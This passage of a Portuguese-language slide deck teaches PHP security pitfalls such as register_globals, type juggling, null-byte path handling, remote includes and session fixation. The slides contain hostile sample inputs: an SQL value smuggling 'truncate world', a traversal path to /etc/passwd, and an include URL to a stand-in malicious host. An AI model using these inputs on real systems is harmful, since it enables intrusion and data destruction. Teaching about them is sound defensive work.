  • 11. Abordagem “Normalizada” “[...] precisamos de aumentar a segurança do nosso software [...]” ● Lista de falhas de segurança – OWASP top 10 – SANS top 25 – Válidas para qualquer linguagem de programação e genéricas o suficiente ● e um livro: “secure <xxxx>” ● Code review & pen test & ... 1999 - 2013 DRI. Alguns direitos reservados. 11
  • 12. Exemplo: OWASP Top 10 ● A1-Injection ● A2-Cross Site Scripting (XSS) ● A3-Broken Authentication and Session Management ● A4-Insecure Direct Object References ● A5-Cross Site Request Forgery (CSRF) ● A6-Security Misconfiguration ● A7-Insecure Cryptographic Storage ● A8-Failure to Restrict URL Access ● A9-Insufficient Transport Layer Protection ● A10-Unvalidated Redirects and Forwards 1999 - 2013 DRI. Alguns direitos reservados. 12
  • 13. PHP e a (in)Segurança ● “With great power comes great responsibility” ● A grande facilidade e flexibilidade da linguagem colocam várias vezes os programadores em apuros. ● O “shared-hosting” potenciou a existência de aplicações com “tudo” na web root. – Excepto por configuração do servidor, todos os ficheiros estão acessíveis via web 1999 - 2013 DRI. Alguns direitos reservados. 13
  • 14. register_globals ● O clássico... ● Todos os parâmetros que são passados ao script (GET, POST, COOKIE, SERVER) passam a ser variáveis globais. // chamar usando http://server/script.php?authorized=1 if ( some_function_to_chek($username,$password) { $authorized = 1; } if ( ! $authorized ) { exit; } // rest of the code 1999 - 2013 DRI. Alguns direitos reservados. 14
  • 15. $_REQUEST ● O $_REQUEST foi uma solução de “migração rápida” do register_globals ● Usa a mesma ordem de processamento do register_globals ● Em vez de registar globais, regista “keys” no array $_REQUEST ● Misturar GET e POST pode potenciar o XSRF e afins. ● A maioria defende usar $_GET & $_POST para manter maior controlo sobre os pedidos. 1999 - 2013 DRI. Alguns direitos reservados. 15
  • 16. Case Sensitive & Type insensitive ● O primeiro não é normalmente fonte de problemas ● Já o type insensitive pode trazer os seus dissabores $country = "1 ; truncate world;"; if ( $country > 0 ) { mysql_query("delete from world where country = {$country}"); } echo (int)$country; // 1 echo (string)$country; // 1; truncate world; 1999 - 2013 DRI. Alguns direitos reservados. 16
  • 17. Type juggling & Type cast ● http://www.php.net/manual/en/languag e.types.type-juggling.php – O tipo de variável é determinada pelo contexto ● Se somarmos (+) é um int (ou float) ● Se concatenarmos strings (.) é uma string ● Typecast e afins – (int), (float), (string), (array), (object), (unset) – settype $country = "1 ; truncate world;"; settype($country,'integer'); echo (int)$country; // 1 echo (string)$country; // 1 1999 - 2013 DRI. Alguns direitos reservados. 17
  • 18. Strings em PHP e em ... C ● O PHP usa no final, bibliotecas em C. – O “0” em PHP é mais um caractere – Em C é o fim da string ... $file = $_GET['file']; // "../../etc/passwd0" if (file_exists('/home/wwwrun/'.$file.'.php')) { // file_exists will return true as the // file /home/wwwrun/../../etc/passwd exists include '/home/wwwrun/'.$file.'.php'; // the file /etc/passwd will be included } 1999 - 2013 DRI. Alguns direitos reservados. 18
  • 19. Streams ● O PHP usa streams para aceder aos “ficheiros”. ● file:// — Accessing local filesystem ● http:// — Accessing HTTP(s) URLs ● ftp:// — Accessing FTP(s) URLs ● php:// — Accessing various I/O streams ● zlib:// — Compression Streams ● data:// — Data (RFC 2397) ● glob:// — Find pathnames matching pattern ● phar:// — PHP Archive ● ssh2:// — Secure Shell 2 ● rar:// — RAR ● ogg:// — Audio streams ● expect:// — Process Interaction Streams 1999 - 2013 DRI. Alguns direitos reservados. 19
  • 20. include / require ● O include / require também usa streams pelo que pode incluir ficheiros via “http”, “ftp”, etc. ● Excepto quando allow_url_fopen está inactivo // $_GET['theme_path'] => http://some-host.xpto/nasty.php? include "{$_GET['theme_path']}/header.inc"; 1999 - 2013 DRI. Alguns direitos reservados. 20
  • 21. A moda do .inc ● Existiu uma tendência para usar a extensão .inc ● Apenas superada pela tendência do “rename” para .orig ou .bak enquanto se faz um “debug” no servidor ● Quando e extensão é “.php” o ficheiro é processado pelo PHP, quando é .inc e afins, é apenas um ficheiro de texto 1999 - 2013 DRI. Alguns direitos reservados. 21
  • 22. SQL Injections e Mysql ● Mito: – A extensão mysql é vulnerável a SQL injection – Para resolver isso deve-se usar ● Mysqli ● PDO ● Facto: – É suposto (todas as extensões) deixarem o programador fazer os queries que entender – Por isso pode-se fazer SQL injection em todas – O problema está entre a cadeira e o teclado. – Na realidade referiam-se a prepared statements. 1999 - 2013 DRI. Alguns direitos reservados. 22
  • 23. Magia da sessões ● session_start() ● It Just Works ● Session Fixation – session.use_only_cookies (default 1 para o PHP5.3) – session_regenerate_id() 1999 - 2013 DRI. Alguns direitos reservados. 23